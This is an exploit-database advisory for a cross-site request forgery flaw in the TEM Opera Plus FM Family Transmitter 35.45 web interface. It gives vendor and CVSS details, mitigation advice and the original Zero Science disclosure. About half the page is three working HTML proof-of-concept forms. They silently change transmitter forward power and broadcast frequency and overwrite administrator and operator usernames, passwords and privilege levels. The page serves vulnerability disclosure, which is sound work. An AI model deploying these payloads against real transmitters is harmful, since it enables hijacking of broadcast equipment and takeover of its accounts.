TEM Opera Plus FM Family Transmitter 35.45 XSRF Vulnerability

vendor:

TEM Opera Plus FM Family Transmitter

by:

Gjoko 'LiquidWorm' Krstic

7.1

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: TEM Opera Plus FM Family Transmitter

Affected Version From: 35.45

Affected Version To: 35.45

Patch Exists: NO

Related CWE: CVE-2023-XXXX (yet to be assigned)

CPE: h:tem:opera_plus_fm_transmitter:35.45

Metasploit:

Other Scripts:

Platforms Tested: Webserver

2023

TEM Opera Plus FM Family Transmitter 35.45 XSRF Vulnerability

The TEM Opera Plus FM Family Transmitter 35.45 devices are vulnerable to Cross-Site Request Forgery (CSRF) attacks due to lack of proper validation of HTTP requests. An attacker can exploit this vulnerability to perform malicious actions with administrative privileges if a logged-in user visits a specially crafted website. This can lead to unauthorized changes in transmitter settings, such as forward power, frequency, and user credentials.

Mitigation:

To mitigate this vulnerability, users are advised to implement proper validation mechanisms for HTTP requests, such as anti-CSRF tokens. It is recommended to avoid clicking on untrusted links or visiting malicious websites while authenticated into the TEM Opera Plus FM Family Transmitter 35.45 devices.

Source

Exploit-DB raw data:

<!--

TEM Opera Plus FM Family Transmitter 35.45 XSRF


Vendor: Telecomunicazioni Elettro Milano (TEM) S.r.l.
Product web page: https://www.tem-italy.it
Affected version: Software version: 35.45
                  Webserver version: 1.7

Summary: This new line of Opera plus FM Transmitters combines very
high efficiency, high reliability and low energy consumption in compact
solutions. They have innovative functions and features that can eliminate
the costs required by additional equipment: automatic exchange of audio
sources, built-in stereo encoder, integrated RDS encoder, parallel I/O
card, connectivity through GSM telemetry and/or TCP IP / SNMP / SMTP
Webserver.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Webserver


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5800
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5800.php


18.08.2023

-->


CSRF Change Forward Power:
-------------------------

<html>
  <body>
    <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">
      <input type="hidden" name="Pwr" value="00100" />
      <input type="submit" value="Change" />
    </form>
  </body>
</html>


CSRF Change Frequency:
---------------------

<html>
  <body>
    <form action="http://192.168.1.2:8000/user/postcmd.htm" method="POST" enctype="text/plain">
      <input type="hidden" name="Freq" value="95&#46;5" />
      <input type="submit" value="Change" />
    </form>
  </body>
</html>


CSRF Change User/Pass/Priv Change Admin/User/Pass:
-------------------------------------------------

<html>
  <body>
    <form action="http://192.168.1.2:8000/protect/accounts.htm" method="POST">
      <input type="hidden" name="usr0" value="admin" />
      <input type="hidden" name="psw0" value="admin" />
      <input type="hidden" name="usr1" value="operator1" />
      <input type="hidden" name="psw1" value="operator1" />
      <input type="hidden" name="lev1" value="1" />
      <input type="hidden" name="usr2" value="operator2" />
      <input type="hidden" name="psw2" value="operator2" />
      <input type="hidden" name="lev2" value="1" />
      <input type="hidden" name="usr3" value="consulter1" />
      <input type="hidden" name="psw3" value="consulter1" />
      <input type="hidden" name="lev3" value="2" />
      <input type="hidden" name="usr4" value="consulter2" />
      <input type="hidden" name="psw4" value="consulter2" />
      <input type="hidden" name="lev4" value="2" />
      <input type="hidden" name="usr5" value="consulter3" />
      <input type="hidden" name="psw5" value="consulter3" />
      <input type="hidden" name="lev5" value="2" />
      <input type="submit" value="Change" />
    </form>
  </body>
</html>